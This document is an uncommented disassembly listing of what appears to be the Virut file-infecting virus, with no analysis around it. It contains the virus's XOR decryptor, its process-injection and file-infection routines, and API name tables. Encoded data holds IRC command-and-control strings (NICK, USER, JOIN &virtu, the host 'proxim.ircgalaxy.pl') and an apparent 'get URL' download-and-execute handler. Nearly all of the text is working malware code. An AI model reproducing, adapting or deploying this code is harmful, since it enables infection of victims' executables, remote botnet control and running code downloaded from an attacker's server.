; =============== S U B	R O U T	I N E =======================================



sub_4F9FE9	proc near		; CODE XREF: sub_4F9DFA+1DDp

; FUNCTION CHUNK AT 004FA092 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 004FA1D2 SIZE 0000013A BYTES

		push	ebx
		call	esi
		mov	[ebp+403544h], eax
		call	sub_4FA067
		test	eax, eax
		jz	short loc_4FA01C
		push	eax
		call	dword ptr [ebp+403544h]
		test	eax, eax
		jnz	short loc_4FA016
		lea	eax, loc_4011D2[ebp]


loc_4FA00C:				; CODE XREF: sub_4F9DFA+1D1j
		mov	dl, [eax-1]


loc_4FA00F:				; CODE XREF: sub_4F9DFA+1B0j
		call	sub_4FA082
		jmp	short loc_4FA092
; ---------------------------------------------------------------------------


loc_4FA016:				; CODE XREF: sub_4F9FE9+1Bj
					; sub_4F9FE9+136j ...
		call	dword ptr ss:loc_40353C[ebp]


loc_4FA01C:				; CODE XREF: sub_4F9FE9+10j
		test	dword ptr [ebp+403431h], 80000000h
		jz	short loc_4FA046


loc_4FA028:				; CODE XREF: sub_4F9DFA+1C8j
					; sub_4F9DFA+1CBj ...
		lea	esi, loc_403435[ebp]


loc_4FA02E:				; CODE XREF: sub_4F9DFA+1CEj
		mov	edi, [esp+4]
		movsb
		movsd
		mov	ebx, [ebp+4039B2h]
		mov	esi, dword ptr ss:loc_4039B6[ebp]
		mov	edi, [ebp+4039BAh]


loc_4FA046:				; CODE XREF: sub_4F9FE9+3Dj
		pop	ebp
		retn
sub_4F9FE9	endp

; ---------------------------------------------------------------------------


loc_4FA048:				; CODE XREF: sub_4FA067+2p
					; sub_4F9FE9:loc_4FA251p
		pop	edx
		push	0
		push	0
		push	0
		push	0
		push	40001h
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4F9DFA


loc_4FA057:				; CODE XREF: sub_4F9DFA+1E7j
					; sub_4F9DFA+1EAj
		les	ebp, [edx+0]
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_4F9DFA
; ---------------------------------------------------------------------------
aVt_3		db 'VT_3',0
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_4FA067	proc near		; CODE XREF: sub_4F9FE9+9p
					; .XPack:loc_4FAD0Cp
		xor	ecx, ecx
		call	loc_4FA048
		lea	edx, [ebp+4011A1h]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+403540h]
		add	esp, 20h
		retn
sub_4FA067	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FA082	proc near		; CODE XREF: sub_4F9FE9:loc_4FA00Fp
					; sub_4FBE56+25Bp
		mov	dh, dl
		mov	ecx, 225Fh


loc_4FA089:				; CODE XREF: sub_4FA082+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_4FA089
		retn
sub_4FA082	endp

; ---------------------------------------------------------------------------
		db 33h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4F9FE9


loc_4FA092:				; CODE XREF: sub_4F9FE9+2Bj
		and	dword ptr [ebp+401580h], 0
		and	dword ptr ss:loc_401584[ebp], 0
		and	dword ptr [ebp+401588h], 0
		mov	eax, [ebp+403431h]
		xor	ecx, ecx
		push	1
		mov	cl, 20h
		pop	dword ptr [ebp+40397Eh]


loc_4FA0B9:				; CODE XREF: sub_4F9FE9+E0j
		xor	edx, edx
		shr	eax, 1
		setb	dl
		shl	dl, 3
		add	[ebp+40397Eh], edx
		loop	loc_4FA0B9
		push	edi
		mov	byte ptr [ebp+401303h],	1
		mov	dword ptr ss:loc_403548[ebp], esi
		lea	esi, [ebp+4015BBh]
		xor	ecx, ecx
		lea	edi, [ebp+403558h]
		mov	cl, 1Eh
		call	sub_4FA44C
		pop	edi
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	loc_4FA1D2
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+403550h], eax
		push	69CEh
		push	0
		call	dword ptr [ebp+4035C8h]
		test	eax, eax
		jz	loc_4FA016
		xchg	eax, edi
		lea	esi, sub_401000[ebp]
		mov	ebp, edi
		mov	ecx, 0A74h
		sub	ebp, offset sub_401000
		lea	edx, [ebp+401283h]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_4F9FE9
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, loc_401A3D[ebp]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+403550h]
		add	esp, 20h
		test	eax, eax
		jz	loc_4FA016
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+403550h]
		test	eax, eax
		jz	loc_4FA016
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+403550h]
		push	1000Ah
		call	dword ptr [ebp+403550h]
		call	sub_4FA1C2
		jmp	loc_4FA016

; =============== S U B	R O U T	I N E =======================================



sub_4FA1C2	proc near		; CODE XREF: .XPack:004FA1B8p
					; sub_4FA1C2+Dj
		push	1
		pop	ecx
		jecxz	short locret_4FA1D1
		push	0Ah
		call	dword ptr [ebp+4035BCh]
		jmp	short sub_4FA1C2
; ---------------------------------------------------------------------------

locret_4FA1D1:				; CODE XREF: sub_4FA1C2+3j
		retn
sub_4FA1C2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4F9FE9


loc_4FA1D2:				; CODE XREF: sub_4F9FE9+10Fj
		cmp	dword ptr [ebp+403570h], 0
		jz	loc_4FA016
		call	near ptr loc_4FA1E9+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_4FA1E9:				; CODE XREF: sub_4F9FE9+1F6p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:0B58D0040h, dh
		jnb	short near ptr loc_4FA206+5
		inc	eax
		add	[ebx], dh
		leave
		lea	edi, [ebp+4035D0h]
		mov	cl, 0Bh
		xchg	eax, ebx
		call	sub_4FA44C


loc_4FA206:				; CODE XREF: sub_4F9FE9+209j
		cmp	dword ptr [ebp+4035F8h], 0
		jz	loc_4FA016
		mov	eax, [ebp+4035D4h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+403395h]
		mov	eax, [ebp+4035E8h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E2h]
		mov	eax, [ebp+4035D8h]
		push	dword ptr [eax+1]
		pop	dword ptr ss:loc_4033E9[ebp]
		mov	ecx, dword ptr ss:loc_4035DC[ebp]
		jecxz	short loc_4FA251
		push	dword ptr [ecx+1]
		pop	dword ptr ss:loc_4033F6[ebp]


loc_4FA251:				; CODE XREF: sub_4F9FE9+25Dj
		call	loc_4FA048
		lea	edi, [ebp+40364Eh]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+40159Fh]
		mov	ecx, 1Ch
		mov	edx, esp
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_4FA296:				; CODE XREF: sub_4F9FE9+2B0j
		lodsb
		stosw
		loop	loc_4FA296
		push	0
		push	69CEh
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+4035E0h]
		pop	eax
		add	esp, 40h
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_4FA016
		lea	esi, sub_401000[ebp]
		mov	ecx, 0A74h
		mov	ebp, edi
		rep movsd
		sub	ebp, offset sub_401000
		lea	eax, [ebp+40144Ch]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_4F9FE9
; ---------------------------------------------------------------------------
		db  8Dh	; 
		db 95h,	0E0h, 18h
		db  40h	; @
		align 2
		dw 0FF52h
		db  95h	; 
		dd offset loc_403598+4
		db 0E8h, 16h, 0
		db    0
		align 2
aLookupprivil_0	db 'LookupPrivilegeValueA',0
		dd 4895FF50h, 89004035h, 40354C85h, 6A545000h, 0FFFF6A20h
		dd 4035EC95h, 5FC08500h, 6A963F75h, 8B565602h, 52016AD4h
		dd 11E8h, 44655300h, 67756265h,	76697250h, 67656C69h, 0FF560065h
		dd 40354C95h, 56C48B00h, 56505656h, 0D095FF57h,	83004035h
		dd 0FF5710C4h, 40353C95h, 6A006A00h, 7095FF02h,	0B9004035h
		dd 128h, 89E12B97h, 5754240Ch, 35AC95FFh, 0F6330040h, 363CA583h
		dd 54000040h, 0B095FF57h, 85004035h, 465C74C0h,	7204FE83h
		dd 2474FFEEh, 6A006A08h, 0A895FF2Ah, 85004035h,	93DC74C0h
		dd 43DE8h, 91C93300h, 853930E3h, 40363Ch, 0C1812875h, 0DAEh
		dd 56505450h, 53505051h, 356895FFh, 0C0850040h,	0FF0F7459h
		dd 8F082474h, 40363C85h, 0FDACE800h, 0FF53FFFFh, 40353C95h
		dd 8198EB00h, 128C4h, 95FF5700h, 40353Ch, 0FFFBE5E9h, 498DFFh
		dd 585858h, 29CEh, 0D65h, 3 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4FA44C	proc near		; CODE XREF: sub_4F9FE9+100p
					; sub_4F9FE9+218p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr ss:loc_403548[ebp]
		stosd
		pop	ecx


loc_4FA457:				; CODE XREF: sub_4FA44C+Ej
		lodsb
		test	al, al
		jnz	short loc_4FA457
		loop	sub_4FA44C
		retn
sub_4FA44C	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea_0	db 'CreateFileA',0
aCreatefilemapp	db 'CreateFileMappingA',0
aCreateprocessa	db 'CreateProcessA',0
aCreateremoteth	db 'CreateRemoteThread',0
aCreatethread	db 'CreateThread',0
aCreatetoolhe_0	db 'CreateToolhelp32Snapshot',0
aExitthread_0	db 'ExitThread',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehan_0	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionex_0	db 'GetVersionExA',0
aLoadlibrarya_0	db 'LoadLibraryA',0
aMapviewoffile	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess	db 'OpenProcess',0
aProcess32fir_0	db 'Process32First',0
aProcess32nex_0	db 'Process32Next',0
aSetfileattri_0	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoffil	db 'UnmapViewOfFile',0
aVirtualalloc	db 'VirtualAlloc',0
aWritefile_0	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenfile	db 'NtOpenFile',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup_0	db 'WSAStartup',0
aClosesocket_0	db 'closesocket',0
aConnect_0	db 'connect',0
aGethostbynam_0	db 'gethostbyname',0
aRecv_0		db 'recv',0
aSend_1		db 'send',0
aSocket_0	db 'socket',0
aInternetclos_0	db 'InternetCloseHandle',0
aInternetgetc_1	db 'InternetGetConnectedState',0
aInternetopen_0	db 'InternetOpenA',0
aInternetopen_1	db 'InternetOpenUrlA',0
aInternetread_0	db 'InternetReadFile',0
aAdvapi32_dll_0	db 'ADVAPI32.DLL',0
aRegclosekey_0	db 'RegCloseKey',0
aRegopenkeyex_0	db 'RegOpenKeyExA',0
aRegqueryvalu_0	db 'RegQueryValueExA',0
aRegsetvaluee_0	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_4FA7E7	proc near		; CODE XREF: .XPack:004FA88Ep
					; .XPack:004FA89Fp ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr ss:loc_4035F0[ebp]
		add	esp, 0Ch
		call	dword ptr [ebp+4035F4h]
		add	esp, 8
		retn
sub_4FA7E7	endp

; ---------------------------------------------------------------------------
		push	edi
		lea	eax, loc_4015B1[ebp]
		xor	edi, edi
		push	eax
		push	0
		push	0Eh
		call	dword ptr ss:loc_4035A4[ebp]
		test	eax, eax
		jz	loc_4FA8CA
		push	eax
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	100000h
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr [ebp+4035E4h]
		pop	edi
		pop	ecx
		call	dword ptr ss:loc_40353C[ebp]
		test	edi, edi
		jz	short loc_4FA8CA
		mov	ecx, [ebp+401588h]
		jecxz	short loc_4FA882
		lea	edx, sub_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_4FA882:				; CODE XREF: .XPack:004FA874j
		mov	eax, [ebp+4035D4h]
		lea	ecx, [edi+2394h]
		call	sub_4FA7E7
		mov	eax, [ebp+4035E8h]
		lea	ecx, [edi+23E1h]
		call	sub_4FA7E7
		mov	eax, [ebp+4035D8h]
		lea	ecx, [edi+23E8h]
		call	sub_4FA7E7
		mov	eax, dword ptr ss:loc_4035DC[ebp]
		test	eax, eax
		jz	short loc_4FA8CA
		lea	ecx, [edi+23F5h]
		call	sub_4FA7E7


loc_4FA8CA:				; CODE XREF: .XPack:004FA834j
					; .XPack:004FA86Cj ...
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, offset loc_401A14
		xor	ecx, ecx
		lea	eax, [ebp+401DAEh]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr ss:loc_40356C[ebp]
		xchg	eax, [esp]
		call	dword ptr ss:loc_40353C[ebp]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 55h,	0E8h, 0
		dd 5D000000h, 1A43ED81h, 0FF6A0040h, 1A0E958Dh,	52500040h
		dd 2420CDh, 0C483002Ah,	85C7660Ch, 401A54h, 85C720CDh
		dd 401A56h, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h
		dd 0B68F0h, 0D08B0000h,	3C50035Bh, 1A72B58Dh, 0BA8B0040h
		dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h
		dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h,	0FF6A5251h
		dd 35F095FFh, 0C4830040h, 74958B0Ch, 2B004035h,	7EA83D7h
		dd 6A07C7h, 578900E8h, 1A6AC303h, 9E858h, 428D0000h, 0C9FEAA61h
		db 75h,	0F0h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_4FA9AF	proc near		; CODE XREF: sub_4FB21A+1Bp
					; sub_4FB392+3p ...
		imul	edx, dword ptr ss:loc_403646[ebp], 8088405h
		inc	edx
		mov	dword ptr ss:loc_403646[ebp], edx
		mul	edx
		retn
sub_4FA9AF	endp

; ---------------------------------------------------------------------------
		db 55h
		dd 0E8h, 0ED815D00h, 401B09h, 364A9D8Bh, 7C830040h, 0F000824h
		dd 0B984h, 8EC8100h, 54000002h,	10468h,	9095FF00h, 8B004035h
		dd 24848DFCh, 104h, 0E8006A50h,	4, 545256h, 8C95FF57h
		dd 33004035h, 4978DC9h,	51000001h, 51026A51h, 68016Ah
		dd 52400000h, 355C95FFh, 85960040h, 505B74F6h, 1046854h
		dd 0FF570000h, 22024B4h, 95FF0000h, 403628h, 74C08559h
		dd 5014E316h, 6AD48Bh, 56575152h, 35CC95FFh, 85590040h
		dd 56D075C0h, 353C95FFh, 578D0040h, 6A575244h, 978D5844h
		dd 104h, 6AC033ABh, 0ABF35910h,	50505050h, 52505050h, 356495FFh
		dd 0C4810040h, 208h, 82474FFh, 361895FFh, 0FF530040h, 40361895h
		dd 4C25D00h, 0A3E8000h,	8B460175h, 4015848Dh, 8D19E300h
		dd 40100095h, 56D10300h, 0C084D2FFh, 11F880Fh, 840F0000h
		dd 110h, 753A3E80h, 3E804610h, 1840F00h, 80000001h, 0F175203Eh
		dd 503E8146h, 75474E49h, 0C6CF8B42h, 2B4F0146h,	6A51CEh
		dd 0FF535651h, 40361095h, 0C13B5900h, 0DF850Fh,	858D0000h
		dd 401DA2h, 0C68006Ah, 50000000h, 1095FF53h, 3D004036h
		dd 0Ch,	0BF850Fh, 0B1E90000h, 81000000h, 4952503Eh, 0A5850F56h
		dd 83000000h, 3CAC08C6h, 99840F0Dh, 3C000000h, 0ACF37520h
		dd 850F3A3Ch, 8Ch, 20200DADh, 213D2020h, 75746567h, 203CAC7Fh
		dd 7E817C75h, 746820FFh, 81717574h, 3A70037Eh, 68752F2Fh
		dd 0FF47C6h, 10BA310Fh,	0F7000027h, 95FF52E2h, 4035BCh
		dd 5050C033h, 9E85050h,	44000000h, 6C6E776Fh, 64616Fh
		dd 362095FFh, 0C0850040h, 0C9333674h, 364A8589h, 68510040h
		dd 80000200h, 50565151h, 362495FFh, 958D0040h, 401B03h
		dd 54C93350h, 51525051h, 6C95FF51h, 87004035h, 95FF2404h
		dd 40353Ch, 8D80C3F8h, 401577h,	53C3F901h, 5754464Fh, 5C455241h
		dd 7263694Dh, 666F736Fh, 69575C74h, 776F646Eh, 75435C73h
		dd 6E657272h, 72655674h, 6E6F6973h, 7078455Ch, 65726F6Ch
		dd 61540072h, 74656772h, 74736F48h, 0FF000200h,	8F7255F0h
		dd 6F7270D0h, 2E6D6978h, 67637269h, 78616C61h, 6C702E79h
		dd 43494E00h, 6B76204Bh, 79696174h, 550A796Eh, 20524553h
		dd 30323061h, 20313035h, 202E202Eh, 4F4A2D3Ah, 26204E49h
		dd 74726976h, 0E8550A75h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 401DB4h
		mov	byte ptr [ebp+401577h],	0
		call	dword ptr [ebp+403594h]
		shr	eax, 1Fh
		jz	short loc_4FACC9
		push	1Eh
		mov	esi, [ebp+403550h]
		pop	ecx


loc_4FAC96:				; CODE XREF: .XPack:loc_4FACC5j
		lodsb
		cmp	al, 2Eh
		jnz	short loc_4FACC5
		cmp	word ptr [esi],	1DFFh
		jnz	short loc_4FACC5
		lea	edi, [ebp+403640h]
		mov	esi, [esi+2]
		push	edi
		movsd
		movsw
		lea	eax, [ebp+40336Ah]
		pop	dword ptr [ebp+403390h]
		cli
		mov	[esi-6], eax
		mov	word ptr [esi-2], cs
		sti
		mov	cl, 1


loc_4FACC5:				; CODE XREF: .XPack:004FAC99j
					; .XPack:004FACA0j
		loop	loc_4FAC96
		jmp	short loc_4FAD0C
; ---------------------------------------------------------------------------


loc_4FACC9:				; CODE XREF: .XPack:004FAC8Bj
		lea	eax, loc_4015B1[ebp]
		push	eax
		push	0
		push	0Eh
		call	dword ptr ss:loc_4035A4[ebp]
		cmp	dword ptr [esp+8], 4
		jnz	short loc_4FAD0C
		call	near ptr loc_4FACE9+1
		push	ebx
		inc	esi
		inc	ebx


loc_4FACE9:				; CODE XREF: .XPack:004FACE1p
		add	bh, bh
		xchg	eax, ebp
		mov	ds:48E80040h, dh
		cld
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7E8FFh, 46530000h, 534F5F43h, 8895FF00h, 0E8004035h
		dd 0FFFFFC31h
; ---------------------------------------------------------------------------


loc_4FAD0C:				; CODE XREF: .XPack:004FACC7j
					; .XPack:004FACDFj
		call	sub_4FA067
		dec	dword ptr [ebp+401303h]
		call	near ptr loc_4FAD26+1
		push	ebp
		push	ebx
		inc	ebp
		push	edx
		xor	esi, [edx]
		db	2Eh
		inc	esp
		dec	esp
		dec	esp


loc_4FAD26:				; CODE XREF: .XPack:004FAD17p
		add	bh, bh
		xchg	eax, ebp
		pushf
		xor	eax, 0AE80040h
; ---------------------------------------------------------------------------
		db 0
		dd 73770000h, 6E697270h, 416674h, 4895FF50h, 89004035h
		dd 40355485h, 8D310F00h, 4018E08Dh, 46858900h, 51004036h
		dd 359C95FFh, 68930040h, 4, 18EDB58Dh, 8D590040h, 40362CBDh
		dd 0F6D6E800h, 0C766FFFFh, 401D6785h, 83F0FF00h, 401D69A5h
		dd 958D0000h, 401D27h, 16A5450h, 6852006Ah, 80000002h
		dd 363095FFh, 0C0850040h, 8D22755Ah, 401D5A8Dh,	66A5200h
		dd 1D67B58Dh, 56540040h, 52515050h, 363495FFh, 0FF580040h
		dd 40362C95h, 4D85C600h, 4038h,	0CE8h, 4F535700h, 32334B43h
		dd 4C4C442Eh, 9C95FF00h, 93004035h, 768h, 44B58D00h, 59004018h
		dd 35FCBD8Dh, 51E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh
		dd 4C4C44h, 359C95FFh, 0C0850040h, 1E7840Fh, 68930000h
		dd 5, 1882B58Dh, 8D590040h, 403618BDh, 0F61AE800h, 0BD83FFFFh
		dd 40361Ch, 0C2840F00h,	81000001h, 190ECh, 1685400h, 0FF000001h
		dd 4035FC95h, 90C48100h, 50000001h, 6AD48Bh, 1C95FF52h
		dd 85004036h, 0D7559C0h, 138868h, 0BC95FF00h, 0EB004035h
		dd 69BD83E2h, 401Dh, 858D2975h,	401D6Dh, 895FF50h, 85004036h
		dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401D69h, 384D85C6h
		dd 6A010040h, 6A016A00h, 1495FF02h, 83004036h, 840FFFF8h
		dd 112h, 65958D93h, 6A00401Dh, 0FF535210h, 40360495h, 0FC08500h
		dd 0F285h, 86BD8D00h, 0B100401Dh, 0FABCE808h, 9468FFFFh
		dd 5E000000h, 3489E62Bh, 95FF5424h, 403598h, 1D94BD8Dh
		dd 1B10040h, 0FFFA9DE8h, 24448BFFh, 8E0C110h, 424440Bh
		dd 0B08E0C1h, 50082444h, 5E8h, 362E2500h, 0FF570078h, 40355495h
		dd 0CC48300h, 200647C6h, 1D81958Dh, 6A0040h, 2168h, 0FF535200h
		dd 40361095h, 247C8D00h, 95FF5714h, 403558h, 0A3804C6h
		dd 50006A40h, 95FF5357h, 403610h, 0BD8DE603h, 401DA2h
		dd 0C68006Ah, 57000000h, 1095FF53h, 3D004036h, 0Ch, 0B58D4D75h
		dd 40364Eh, 384D8D8Dh, 0CE2B0040h, 5651006Ah, 0C95FF53h
		dd 83004036h, 2F7E00F8h, 8DFE8B91h, 40364EB5h, 0F20DB000h
		dd 601075AEh, 0FFFAF8E8h, 177261FFh, 778D09E3h,	8BEAEB01h
		dd 8DCE2BCFh, 40364EBDh, 87A4F300h, 53B9EBF7h, 360095FFh
		dd 0BD800040h, 401577h,	682A7401h, 7530h, 35BC95FFh, 0BD800040h
		dd 40384Dh, 0C7117400h,	401D6985h, 0
		dd 4D85C600h, 4038h, 0FFFE56E9h, 8085C7FFh, 4015h, 5D800000h
		dd 0D0004C2h, 6E204F0Ah, 206E6F6Fh, 6C20666Fh, 21656669h
		dd 74204F20h, 20656D69h, 63206F74h, 62656C65h, 65746172h
		dd 200A0D21h, 20202020h, 7573204Fh, 72656D6Dh, 72616720h
		dd 216E6564h, 65520A0Dh, 746E656Ch, 7373656Ch, 6820796Ch
		dd 79707061h, 646E6120h, 70786520h, 61746365h, 202C746Eh
		dd 6E617473h, 676E6964h, 0D2D203Ah, 7461570Ah, 6E696863h
		dd 6C612067h, 6164206Ch, 6E612079h, 696E2064h, 2C746867h
		dd 726F6620h, 69726620h, 73646E65h, 77204920h, 3A746961h
		dd 68570A0Dh, 20657265h, 20657261h, 2C756F79h, 69726620h
		dd 73646E65h, 6F43203Fh, 2021656Dh, 69207449h, 69742073h
		dd 2021656Dh, 73277449h, 74616C20h, 0A0D2165h, 4CA2A1A8h
		dd 6299AD47h, 50B7AB4h,	4FD479EDh, 0A5FADA23h, 10A61429h
		dd 53AF69DFh, 27B1FAE5h, 0DB858B99h, 30C78404h,	3AAB5957h
		dd 606EF96Ah, 6F687A0Ah, 6980CE22h, 0D8AD0973h,	10A61413h
		dd 40375248h, 0C26CCC5Ch, 0D8B8B352h, 1A73C17Eh, 10F2086Dh
		dd 0Bh dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_4FB164	proc near		; CODE XREF: sub_4FB1AB:loc_4FB208p
					; sub_4FB26B+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr [ebp+4039A6h], 0
		and	dword ptr ss:loc_4039AA[ebp], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_4FB180:				; CODE XREF: sub_4FB164+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_4FB1A2
		cmp	eax, [edx+8]
		jnb	short loc_4FB1A2
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	[ebp+4039A6h], edx
		mov	dword ptr ss:loc_4039AA[ebp], eax
		jmp	short loc_4FB1A7
; ---------------------------------------------------------------------------


loc_4FB1A2:				; CODE XREF: sub_4FB164+23j
					; sub_4FB164+28j
		add	edx, 28h
		loop	loc_4FB180


loc_4FB1A7:				; CODE XREF: sub_4FB164+3Cj
		popa
		retn	4
sub_4FB164	endp


; =============== S U B	R O U T	I N E =======================================



sub_4FB1AB	proc near		; CODE XREF: .XPack:004FB4D7p
					; .XPack:004FB4FDp
		mov	[ebp+4022F7h], al
		call	sub_4FB21A
		push	1Fh
		lea	eax, [ebp+402224h]
		pop	ecx


loc_4FB1C2:				; CODE XREF: sub_4FB1AB+1Ej
		cmp	[eax], ebx
		jz	short loc_4FB1D2
		add	eax, 4
		loop	loc_4FB1C2
		inc	dword ptr ss:loc_40398E[ebp]
		retn
; ---------------------------------------------------------------------------


loc_4FB1D2:				; CODE XREF: sub_4FB1AB+19j
		neg	ecx
		add	ecx, [ebp+4022F7h]
		jecxz	short loc_4FB1EC


loc_4FB1DC:				; CODE XREF: sub_4FB1AB+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_4FB1DC
		mov	[ebp+402224h], ebx


loc_4FB1EC:				; CODE XREF: sub_4FB1AB+2Fj
					; sub_4FB21A+34j
		cmp	dword ptr [edx], 0
		jz	short loc_4FB1F6
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_4FB1F6:				; CODE XREF: sub_4FB1AB+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_4FB205
		push	dword ptr [edx]
		jmp	short loc_4FB208
; ---------------------------------------------------------------------------


loc_4FB205:				; CODE XREF: sub_4FB1AB+54j
		push	dword ptr [edx+10h]


loc_4FB208:				; CODE XREF: sub_4FB1AB+58j
		call	sub_4FB164
		sub	ecx, esi
		sub	ecx, dword ptr ss:loc_4039AA[ebp]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_4FB1AB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FB21A	proc near		; CODE XREF: sub_4FB1AB+6p
		pop	dword ptr [ebp+403992h]
		mov	dword ptr ss:loc_40398E[ebp], 0
		call	sub_4FB26B
		mov	eax, dword ptr ss:loc_40398E[ebp]
		call	sub_4FA9AF
		call	sub_4FB257
		cmp	dword ptr ss:loc_40398E[ebp], 0
		jnz	short loc_4FB250
		mov	[ebp+4022A0h], ebx
		jmp	short loc_4FB1EC
; ---------------------------------------------------------------------------


loc_4FB250:				; CODE XREF: sub_4FB21A+2Cj
		dec	dword ptr ss:loc_40398E[ebp]
		retn
sub_4FB21A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FB257	proc near		; CODE XREF: sub_4FB21A+20p
		pop	dword ptr [ebp+403992h]
		mov	dword ptr ss:loc_40398E[ebp], edx
		call	sub_4FB26B
		xor	ecx, ecx
		retn
sub_4FB257	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4FB26B	proc near		; CODE XREF: sub_4FB21A+10p
					; sub_4FB257+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_4FB164
		add	edx, dword ptr ss:loc_4039AA[ebp]
		add	edx, esi


